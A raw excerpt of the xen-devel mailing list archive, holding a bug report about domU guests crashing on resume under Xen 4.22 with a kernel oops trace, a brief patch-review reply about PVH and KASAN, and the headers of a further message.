 by phl-compute-06.internal (MEProxy); Sat, 18 Jul 2026 10:03:31 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Sat,
 18 Jul 2026 10:03:30 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784383411;
	 x=1784469811; bh=dUZjqeNV9O8XFmgIDunVFPeL7mArc/vhn5dDixvyo/M=; b=
	pyiMl2faJkWw7yCucQdYhreR8JxmS1qV6TLyyfMgDrDLGeeGMl55XttRE1pCDesG
	lvuHj8ErjmDz1xN79hvYxLSUsmznovFBgf2f+BiIlbhVeiu2QScaiZk0+2QcZKDv
	EPztC4lpcwSJr9GWMQ3pDV78D/fIsDQ4v2Lz4WTFXT9ELyHbvejN62vrc52nGtac
	Q4X9iG2uMfRTYxJJRY5e2cdnWBdxY31pZpfTpbWUBFHYoB1s4Qpnp2Zom0ATTk0K
	gBwLVBYBNPH4lfmPhpSAn/nJjDf+8am0kXuhMtqFDuUvzWAP4IVkSEzgUoqTmHD6
	zHJgUkiUzxHzRmaiA9/OkQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784383411; x=1784469811; bh=dUZjqeNV9O8XFmgIDunVFPeL7mArc/vhn5d
	Dixvyo/M=; b=CHSiAmcfPJoMPYpDMkVzubbDqKejodk4B7yTuR4Nuw/yd1Tr5/e
	p+H+9wxt2/msp47RgSoT6XsbOQFNR8lkPfS3OSaVtOwkKgdJANymBzAlBybL9Gc/
	+cL0gCg/POT0g892o0mKF7rsNGHm18SGUCKlJaQfA715sXHfDqTywh/RHrpnSZaq
	qtxLl8gZuY9kAlvl+ONWGyIuF3kR9IbcV/SZA4qqC6gYT9B4vdPeb9zT8Y2X4YsK
	KrulPWB3ucB+EzlMfGql7Pk+5v0eubaYCA63WqSU5jyaeNPZBmD+BD+2BiaAAJXZ
	wfcF+lfSuA37OTKQyVue0Wxk9rl+cpRMpmQ==
X-ME-Sender: <xms:s4dbasWct-IJE399b-HaXGVr0fOu3sPhIecvsiXwyHHQ-InnsmkT1Q>
    <xme:s4dbamldNrNoCTkoweLm3UkSLV_FbLq3XjFGHSfvFDci80KuE-HCOornBlzCBryOn
    r0yjG4nRV9jcbcauIsa8ibHJT53vaESPblQqblJgN8CD3cC4A>
X-ME-Received: <xmr:s4dbauARJ4UTPnOIcu8WtFIWPWwLESw46gEVo16oj_hHxM9QdeQ3S-nxJ4fOzEH27rMPnZzkbyosWbdkskZvAjyuGOfJ9-QuJ-M>
X-ME-Proxy-Cause: dmFkZTGNMs+atV6X6essUDq39J0quKdiKZwFDBMdiN5uczZVBJG43rtCngECVrGea8jAU6
    wRygrXodnSrn/OI3eqOtScFtiKexfforiWmyDr3e1sFWcJR8/kh25OHByQzWxKKAcZNkgA
    TnnwMQyzyO2HOWHczzi1q0xXPql5ImmTScZDpstcudgYP/hGma4+2gkY88oKhrLX/OnjQv
    078dF7AHtIuwdqrIPsDhkekj6n9/aB3xHZFhIPnZO0qC2n5A5mpP4nfwL+ISNfGoo/Au9V
    JYBLMkRwpUIxtny1uHyW9CMZWE5/U4S1Zr0m1JtLAIEWeWTMx6m4hkjmjN7n7Jkl+tqbNa
    P6E1VdhHQ3ZW7T65iNJaD2j+I414Fhymme2DwaNLZcCY7nid+fk0PNsrBlYQAO1/l6SA6m
    n/ro1y8nz1hJQpSPacDj86m4HXqtJcu3wSswgU0adEL618vkh2TlE7MeV8UmObBwzs17SX
    K8t2bSfAlg/xg6KkRqFDlKu+tlI2tc9K9UKxXzEtVkEmF1JZ/BdYxjo7wNab89EZosLZT+
    GWU4QL4VcYaREZDiGrN60akqXlSkj6J4YxsgYyJi5mk0NIFie/cRLjyKQdOTZh0L+P5pIJ
    non6hDotPl8mnPnj8ug48VsB08fJY+MyF63YWELkWNssxWS2BgwCkRXBchOw
X-ME-Proxy: <xmx:s4dbamclDK4HY-tSffcGE604Mabh0ESpeAfE4B4t2EZP8tG7P24ilw>
    <xmx:s4dbapL0gLvZcyqXb_wEZ6pkH45Oa8f8hOafhF4F2fdJnbrrPmxMaw>
    <xmx:s4dbapc502Fjb61-CTDAbyJtGqGefkKc42y378FnZTqgq-enPjvSMw>
    <xmx:s4dbag3idVFNHqBDuDGf9DHgSKmy6OJq0_NbLW-NRGxlA91TNCp0_A>
    <xmx:s4dbavTY7oVdMsM9OyOs3RQoicF8MMX6ycc02TwakoFAZA0Nt_M7rkr3>
Feedback-ID: i1568416f:Fastmail
Date: Sat, 18 Jul 2026 16:03:29 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
Message-ID: <aluHsZA0hK8FcKnM@mail-itl>
References: <ajUm2SQtMD6Y-K9S@mail-itl>
 <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="igHU3V1eAOL0i68e"
Content-Disposition: inline
In-Reply-To: <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
X-purgate-ID: tlsNG-ef75cf/1784383413-3C610AE4-404B737C/0/0
X-purgate-type: clean
X-purgate-size: 6718

--igHU3V1eAOL0i68e
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Sat, 18 Jul 2026 16:03:29 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: domU crash when resuming from suspend - Xen 4.22

On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> <marmarek@invisiblethingslab.com> wrote:
> >
> > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=B3rec=
ki wrote:
> > > Hi,
> > >
> > > I'm continuing testing 4.22 and found this:
> > >
> > > When a domU is suspended (even without host suspend) it crashes on
> > > resume with:
> > >
> > >     [   24.374629] BUG: kernel NULL pointer dereference, address: 000=
0000000000020
> > >     [   24.374647] #PF: supervisor read access in kernel mode
> > >     [   24.374657] #PF: error_code(0x0000) - not-present page
> > >     [   24.374668] PGD 0 P4D 0
> > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 Not tainte=
d 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __stop_cpus.c=
onstprop.0+0x6f/0xb0
> > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00=
 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b=
 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 0=
000000000000404
> > >     [   24.374790] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 0=
000000000770ef0
> > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc80 R09: f=
fffc900000abc8c
> > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: f=
fffffff81835ac0
> > >     [   24.374825] R13: 0000000000000000 R14: 0000000000000000 R15: 0=
000000000000000
> > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b369000(00=
00) knlGS:0000000000000000
> > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 0=
000000000770ef0
> > >     [   24.374873] PKRU: 00000000
> > >     [   24.374877] Call Trace:
> > >     [   24.374884]  <TASK>
> > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > >     [   24.374925]  kthread+0xfc/0x240
> > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > >     [   24.374949]  ret_from_fork+0x158/0x170
> > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > >     [   24.374973]  </TASK>
> > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtimer snd_s=
eq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat xenfs bi=
nfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct n=
f_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr intel_ra=
pl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry intel_vse=
c polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_gntdev x=
en_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables overlay xe=
n_blkfront
> > >     [   24.375064] CR2: 0000000000000020
> > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 04 00 00=
 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 f0 ff 0b=
 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 41 83 fd
> > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010046
> > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX: 0=
000000000000404
> > >     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RDI: 0=
000000000770ef0
> > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R09: f=
fffc900000abc8c
> > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R12: f=
fffffff81835ac0
> > >     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R15: 0=
000000000000000
> > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369000(00=
00) knlGS:0000000000000000
> > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4: 0=
000000000770ef0
> > >     [   24.375241] PKRU: 00000000
> > >     [   24.375247] Kernel panic - not syncing: Fatal exception
> > >     [   25.417403] Shutting down cpus with NMI
> > >     [   25.417447] Kernel Offset: disabled
> > >
> > > There is no change on the Linux kernel side (neither dom0 nor domU), =
the
> > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be already
> > > broken on -rc1 too). This happens for both HVM and PVH domains. Haven=
't
> > > tried PV domU (but dom0 survives host suspend).
> >
> > Any ideas?
> >
>=20
> Hi,
>    not many ideas but while testing my libxenguest changes I found
> similar failures using xl create/save/restore. But I was testing more
> PV guests.
> Does 4.21 work ?

It seems 4.21 also has this issue:
https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414211523
But 4.20 is okay:
https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414227095

I guess I can bisect it further.

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--igHU3V1eAOL0i68e
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpbh7EACgkQ24/THMrX
1yz3ZAf9HiZ0RQJ8Hx2w+i4nGwwRjErh/GdZAHcQgeUdSKc6VaRu72iquajZuKy1
3GblAgiMCnKQ/biFV+EUCQnnRVKXrLr1ydeC/hKLe7n9xm7XzasUky1Ul05xLfn4
nvB2y+gAVkGBuf27N5UIxjkgt88fF9lxsMeZxnrEPRpFBiOZOpueUTT6/7Xu2vAU
gzANRKJ8AWdYasFlqQwHC/8Na74FI7a7r34nwUYvRc5pzqIS0S7qzWoOiFvz+kIp
VLsjdHMQwHiThkPNR9mGo0fmPvM6NPgPFgm8QNn5+IonduUnt2X2ZJgFdMDYE/ty
kbn1t0pmRuVUCbFmrNnmKsgiIW1i7g==
=o/3J
-----END PGP SIGNATURE-----

--igHU3V1eAOL0i68e--


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 15:03:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 15:03:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365599.1615913 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl6ZN-00059x-08; Sat, 18 Jul 2026 15:03:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365599.1615913; Sat, 18 Jul 2026 15:03:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl6ZM-00059p-SL; Sat, 18 Jul 2026 15:03:12 +0000
Received: by outflank-mailman (input) for mailman id 1365599;
 Sat, 18 Jul 2026 15:03:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bp@alien8.de>) id 1wl6ZK-00059j-Qy
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 15:03:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wl6ZJ-00CIpl-Q6
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 17:03:09 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bp@alien8.de>)
 id 6a5b9575-e002-0a2a0a5209dd-0a2a4504a5d2-44
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 17:03:09 +0200
Received: from [65.109.113.108] (helo=mail.alien8.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <bp@alien8.de>)
 id 6a5b95ad-b57f-0a2a45040019-416d716ce216-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 17:03:09 +0200
Received: from localhost (localhost.localdomain [127.0.0.1])
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTP id A296640E0031; 
 Sat, 18 Jul 2026 15:03:08 +0000 (UTC)
Received: from mail.alien8.de ([127.0.0.1])
 by localhost (mail.alien8.de [127.0.0.1]) (amavisd-new, port 10026)
 with ESMTP id OqvEu6YOatb8; Sat, 18 Jul 2026 15:02:59 +0000 (UTC)
Received: from stx.tnic (unknown [12.110.208.163])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature ECDSA (P-256) server-digest
 SHA256) (No client certificate requested)
 by mail.alien8.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 7451E40E014C;
 Sat, 18 Jul 2026 15:02:44 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=alien8 header.d=alien8.de header.i="@alien8.de" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
X-Virus-Scanned: Debian amavisd-new at mail.alien8.de
Authentication-Results: mail.alien8.de (amavisd-new); dkim=pass (4096-bit key)
	header.d=alien8.de
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=alien8.de; s=alien8;
	t=1784386977; bh=nrTmjZru6ivCvZPolbK5Vi6eI2c0QzSoBtiB5NIfmjU=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=BoveRoPW/vmFtq9F9srxFRyQ+zQGzwMiB5pHwNYwxYlxkRc5Vld7h04YavTReDQzd
	 2XVXOla2bedIAPPRauk9N73eI8FJtGhQOJfEKTJSAlJGujFpWBG/3VhGDQ1Nuv/hji
	 WwKCvPij5/hKiIpCWRkwohgzOKVv2v81xoLukg01y7N7ujU/kDAPKp7i9dVzoCEwCb
	 BCPzhK9/lMrBqeiKSwWHCckXsjZMKz3JW19PldbHxpLAoPqQP11jt5eRCcUPuctawb
	 /ZRuUPEwC1N42RHJ3y/9B5hpe72WV0akaA0YBCPrpCJadpowSDF/n0OOBJOhQ5PVV/
	 8csDHw6/aqsGyj1EUqJMZJXWg0NtNUyLpzXRF52YoEK5B/zknObgdc/cY2WXxn/PCe
	 GHf0vjKryHRZRsPHlaV4qQddbfjPBlNHhWCz3eQyz2OfnulMfSNxx9jI2aE5YcXBOo
	 iRUNfqRpXUZzN7svc8h71g/h5uWKLNqyVh4Q/Jwp4Altho17ie0fIx4lyrwSeCUbTH
	 /8g+ZTZdYgEz9x34ELulTsIh9LbkzgzQnQJRTxaSBC0Lgtvkz4L/sl/7PoyZZLY8QO
	 586V9lB9sxTOchsaSULlk2P795l9ghc2GjLk0QPhN/4mLqJfaiUkOA1mptkx2APqRc
	 0FmkFA0wH4X5xdiCNGqF9ra0=
Date: Sat, 18 Jul 2026 08:02:30 -0700
From: Borislav Petkov <bp@alien8.de>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v6 0/4] x86/pvh: fix unbootable VMs again (PVH + KASAN)
Message-ID: <20260718150230.GAaluVhlozNI__9IsA@fat_crate.local>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
X-purgate-ID: tlsNG-ebf023/1784386989-52AC8B50-AC280F87/0/0
X-purgate-type: clean
X-purgate-size: 445

On Wed, Jul 01, 2026 at 08:13:49PM -0300, Mauricio Faria de Oliveira wrote:
> The issue of unbootable VMs with CONFIG_PVH due to CONFIG_KASAN is back.

They look like preexisting issues but we probably should take care of them
before we go forward:

https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com

Thx.

-- 
Regards/Gruss,
    Boris.

https://people.kernel.org/tglx/notes-about-netiquette


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 15:42:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 15:42:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365627.1615920 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl7BJ-00029m-HQ; Sat, 18 Jul 2026 15:42:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365627.1615920; Sat, 18 Jul 2026 15:42:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl7BJ-00029f-EN; Sat, 18 Jul 2026 15:42:25 +0000
Received: by outflank-mailman (input) for mailman id 1365627;
 Sat, 18 Jul 2026 15:42:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wl7BI-00029Z-56
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 15:42:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wl7BH-002xU5-BD
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 17:42:23 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a5b9e89-bab6-0a2a0a5309dd-0a2a4504c38c-46
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 17:42:23 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a5b9edd-b57f-0a2a45040019-cddca8837aa4-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 17:42:22 +0200
Received: from pps.filterd (m0279863.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66IDD3g5838754
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 15:42:20 GMT
Received: from mail-pg1-f198.google.com (mail-pg1-f198.google.com
 [209.85.215.198])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fg2bnh33w-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 15:42:20 +0000 (GMT)
Received: by mail-pg1-f198.google.com with SMTP id
 41be03b00d2f7-cab3e9cd922so4296950a12.0
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 08:42:20 -0700 (PDT)
Received: from localhost ([188.253.117.185]) by smtp.gmail.com with ESMTPSA id
 5a478bee46e88-31429f9d439sm22974922eec.5.2026.07.18.08.42.13
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Sat, 18 Jul 2026 08:42:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:To:From:Subject:Cc:Message-Id:Date:Content-Type:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	B3Tozc6XvAyXDRXhNm08ssVPc4HklhucZjeYpfFjPmA=; b=l9F6S0Gnb2vjgD6a
	NBQfReSJBOyCIXwIUgjQE9ha1CjdNnqVi17UErZCTYSlBRo/TxMbCbjqKp2d0Yy8
	2grbSegaeCpYWBsCtdZz1Mn3v8FEv1j5UcVICfCZoIiXa6CDvpkRuAbnTODcJZ/U
	B2BcXlqo9x1yKCfP3m63lMsLAwNF6umECQ3O2BYkakRH9Y3pltrWALui4/z2ZZDB
	Oohi70BkTEVI9LYX4Az4ZXFHWOAsSgFmcQVj/yBR+bc/KWRawPM7IARiYuzeczGl
	2Z7prJm/hdBFhaSSwCdQjPyC6p/fQJ948P1wqkX9Tl6bHTlDilZ5bfpKV/jZ9sV8
	GzU+Jw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784389339; x=1784994139; darn=lists.xenproject.org;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-type:content-transfer-encoding:mime-version:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=B3Tozc6XvAyXDRXhNm08ssVPc4HklhucZjeYpfFjPmA=;
        b=INyFRt5kZFSWbLCarnx9En52slxAVgvFgOyqitYs0zHXINhiL89FkzFRN/e+YUkIz5
         5KafRvByV9ihjsTdJVFdbbtkICajtLXKd2Md/fc196Um+vTxtRn4qoHwcH0FScQHchNM
         l/B290VONX5CHZcL4/C8DVlcInF4LsthEAXlhHo0MhcQPg3CrVYQc42SaNnNaWq9GLYI
         aTmzTD0QNMdjuIrGjVhhnZND6IW1p8fxPQpWWN5b8NyUcnaCKSSSlRFmb+B+dQVxteJC
         hoZBEJ3V4auKZP0F7I16tacy/OmaO5tVeqnYlB3PMIl4lc2Tzzz5kcayDfTqKBVDzQom
         NJtA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784389339; x=1784994139;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-type:content-transfer-encoding:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=B3Tozc6XvAyXDRXhNm08ssVPc4HklhucZjeYpfFjPmA=;
        b=PsJiDbD6CKoqUBHYMibxvyb2zRgHBHtfHFDPPlET5e6xzNn/qo4FKCW+7D/lTXfYfn
         YttsW1X4KaHQ5nE0BQsiA0beNWUP+4WaDe7o9Xevg4EuUYLi8yS/E6cQ30Zw2AffWLA3
         jJV9gEmYySNsT6I9OXK/LbgIVwzrBYWprWg5TOR+QNp2gfw2HbPIFz1D69J6rOy+8Kqb
         5VMA8GgivoL4gf1sFu6hD4OjTyKrhSpKwgH6jkigm0MI7rdyJbC2Em7ZgK5NYbJr+1oG
         xRi0rXhiayiTYc3iKtr3xDrmiaXXIaNwIiQv7myLgmDGEXAKmLliSLyYKle8n1bd9Fvt
         QEZg==
X-Forwarded-Encrypted: i=1; AHgh+RoOLRWIEjGKiPLiU6JuhmJTZ5rTo/7WYh+UO71e+u2MjU7oWwAO7rAEG+b3K/tOBwBrrdpHiyFPGBg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwIM4GOBEiOF5XDVxd0zdG82scfPc6qs+RlO6vNNQu+r/UucMrn
	G5w9ykyNeSiCO5wpvT7N289dYE5PaaBlrunEg/iLf0qfHuQjgi5IYLxBTo31ETIk8mCcWjcNloz
